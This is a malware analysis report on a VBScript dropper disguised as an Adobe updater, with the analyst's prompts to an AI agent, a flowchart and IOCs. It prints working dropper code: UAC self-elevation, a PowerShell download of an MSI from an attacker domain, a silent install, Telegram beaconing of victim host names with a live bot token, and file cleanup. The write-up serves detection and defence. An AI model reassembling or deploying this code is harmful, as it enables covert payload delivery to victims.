Source

• Malware Bazaar: https://bazaar.abuse.ch/sample/a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd/
• File type: VBS
• Size: ~2.5 KB

Analysis

Source of Code

The file was not obfuscated. However, it had very strong indications of being produced via LLMs. (What isn’t these days!)

• Very well commented:

' AdobeUpdater.vbs - Integrated Final Version
' Purpose: Silent installation using proven bypass properties and Telegram logging.
...
' --- CONFIGURATION ---
...
' --- TELEGRAM LOGGING ---
...
' 1. SELF-ELEVATION
' 2. DOWNLOAD MSI
...

• Language that I have encountered in my interactions with LLMs:

using proven bypass properties
This is the specific line that produced Code 0 in your test

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @C:\Users\Ashura\Desktop\report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    Start([Script runs, disguised as an Adobe updater]) --> ElevCheck{Already running with admin elevation?}

    ElevCheck -- No --> ReqElev[Request admin elevation via UAC prompt]
    ReqElev --> Relaunch[Relaunch itself hidden with elevated marker]
    Relaunch --> Quit1([Quit current instance])

    ElevCheck -- Yes --> LogStart[Report script start to Telegram contact]
    LogStart --> Download[Download installer package from yeriaco.vu\nsave to C:\Windows\Temp\Setup.msi]

    Download --> DlCheck{Installer file present after download?}
    DlCheck -- No --> LogDlErr[Report download error to Telegram contact]
    LogDlErr --> End1([End])

    DlCheck -- Yes --> LogInstallStart[Report install starting to Telegram contact]
    LogInstallStart --> Install[Silently install package system-wide\nsuppress prompts and validation checks]

    Install --> InstallCheck{Install reports success code?}
    InstallCheck -- Yes --> LogSuccess[Report install success to Telegram contact]
    InstallCheck -- No --> LogFail[Report install failure to Telegram contact]

    LogSuccess --> Cleanup[Wait briefly, then delete\nC:\Windows\Temp\Setup.msi]
    LogFail --> Cleanup

    Cleanup --> End2([Script ends])

    %% Contacted C2: api.telegram.org (Telegram Bot API)
    %% Payload source domain: yeriaco.vu
    %% Dropped file: C:\Windows\Temp\Setup.msi

Report

Executive Summary

This sample is an unobfuscated VBScript MSI dropper/installer that masquerades as an Adobe update utility. It self-elevates via a UAC runas prompt, downloads a remote MSI package from an attacker-controlled .vu-domain over HTTPS, and silently installs it system-wide using msiexec flags that suppress all user prompts and validation checks. Throughout execution, the script reports its progress — including the victim’s computer name and the installer’s success/failure code — to an attacker via the legitimate Telegram Bot API, using it as a lightweight, hard-to-block command-and-control (C2) logging channel. After installation, the script deletes the downloaded MSI to reduce forensic artifacts. No destructive or ransomware behavior is present in the script itself; its sole purpose is to silently deliver and install a second-stage payload (STjude.msi) while keeping the operator informed via Telegram. The download domain (yeriaco[.]vu) has no public threat-intelligence history, consistent with a freshly-registered, short-lived distribution domain — a pattern that is well-documented for the .vu ccTLD.

---

Details

Self-Elevation (UAC Bypass Avoidance, Not Exploitation)

If Not WScript.Arguments.Named.Exists("elevated") Then
    SendLog "Requesting Admin Elevation..."
    CreateObject("Shell.Application").ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 0
    WScript.Quit
End If

On first run, the script checks whether it was launched with the elevated named argument. If not, it re-launches itself via Shell.Application.ShellExecute with the runas verb (triggering a standard Windows UAC consent prompt) and a hidden window state (0). It appends /elevated to the relaunch command so that on the second run it skips this check and proceeds. This is standard self-elevation (requesting the user click “Yes” on a UAC prompt) rather than a UAC-bypass exploit — the script depends on the victim approving the elevation prompt.

Telegram-Based C2 / Status-Logging Channel

Sub SendLog(msg)
    On Error Resume Next
    Dim xml, host, url
    host = CreateObject("WScript.Network").ComputerName
    url = "https://api.telegram.org/bot" & token & "/sendMessage?chat_id=" & chatID & "&text=" & "LOG-[" & host & "]: " & msg
    Set xml = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    xml.Open "GET", url, False
    xml.Send
    On Error GoTo 0
End Sub

The script defines a hardcoded Telegram bot token (8168890100:AAEjbCu5mkJwrWPz3wKIB1KoB0EuYUFlA2g) and chat ID (2008092453) at the top of the file, and uses this SendLog routine to send an HTTP GET request to the official Telegram Bot API sendMessage endpoint every time it reaches a milestone in execution (elevation request, script start, download start, install start, install success/failure, and file-not-found error). Each message is tagged with the infected host’s computer name (via WScript.Network.ComputerName), giving the operator real-time visibility into which machines are being compromised and whether the payload installed successfully.

This is a well-documented technique — abusing a legitimate, rarely-blocked web service (api.telegram.org) as a covert C2/notification channel instead of standing up dedicated attacker infrastructure. Because the traffic goes to Telegram’s own TLS-protected domain, it blends in with legitimate Telegram app traffic and is rarely blocked by corporate web filters.

Payload Download

dlCmd = "powershell -Command ""(New-Object System.Net.WebClient).DownloadFile('" & downloadUrl & "', '" & msiPath & "')"""
shell.Run dlCmd, 0, True

With downloadUrl = "https://yeriaco[.]vu/scr/STjude.msi" and msiPath = "C:\Windows\Temp\Setup.msi", the script shells out to PowerShell (hidden window, synchronous/blocking) to invoke System.Net.WebClient.DownloadFile, fetching the second-stage MSI payload and saving it as Setup.msi inside the world-writable C:\Windows\Temp directory. Using PowerShell as a proxy for the download (rather than VBScript’s own MSXML2.XMLHTTP) is a minor evasion choice that also keeps the code simple.

Silent, Validation-Bypassing Install

installCmd = "powershell -Command ""Start-Process msiexec.exe -ArgumentList '/i """ & msiPath & """ /qn /norestart ALLUSERS=1 SKIP_CHECKS=1' -Wait"""
res = shell.Run(installCmd, 0, True)

The downloaded MSI is installed via msiexec.exe with:

• /qn — fully silent install, no UI, no prompts shown to the user
• /norestart — suppresses any automatic reboot
• ALLUSERS=1 — installs the package machine-wide (all user profiles) rather than per-user
• SKIP_CHECKS=1 — a custom MSI property (defined by whoever built STjude.msi) intended to bypass validation/precondition checks baked into the installer

The whole msiexec call is wrapped inside a PowerShell Start-Process ... -Wait, itself launched hidden (window style 0) and synchronously via WScript.Shell.Run(..., 0, True).

The resulting exit code is checked and reported back over Telegram:

If res = 0 Or res = 3010 Then
    SendLog "Step 3: Success! Installation reports Code " & res
Else
    SendLog "Step 3: Error! Installation failed with Code " & res
End If

(0 = success, 3010 = success but a reboot is required — both are treated as successful installs.)

Cleanup / Anti-Forensics

WScript.Sleep 2000
If fso.FileExists(msiPath) Then fso.DeleteFile msiPath

Two seconds after the install attempt, the script deletes C:\Windows\Temp\Setup.msi regardless of whether the install succeeded or failed. This removes the payload file from disk, limiting what remains for later forensic recovery — only the installed application/service (from the MSI) and the VBScript itself remain as artifacts.

---

IOCs

• Network:

Type	Value
Payload download URL	hxxps://yeriaco[.]vu/scr/STjude[.]msi
Payload domain	yeriaco[.]vu
C2 / logging channel	api[.]telegram[.]org (legitimate service, abused)
C2 endpoint pattern	hxxps://api[.]telegram[.]org/bot<TOKEN>/sendMessage?chat_id=<ID>&text=<msg>
Telegram bot token	8168890100:AAEjbCu5mkJwrWPz3wKIB1KoB0EuYUFlA2g
Telegram chat ID	2008092453

• Host:

Type	Value
Dropped file (transient)	C:\Windows\Temp\Setup.msi
Payload original filename	STjude.msi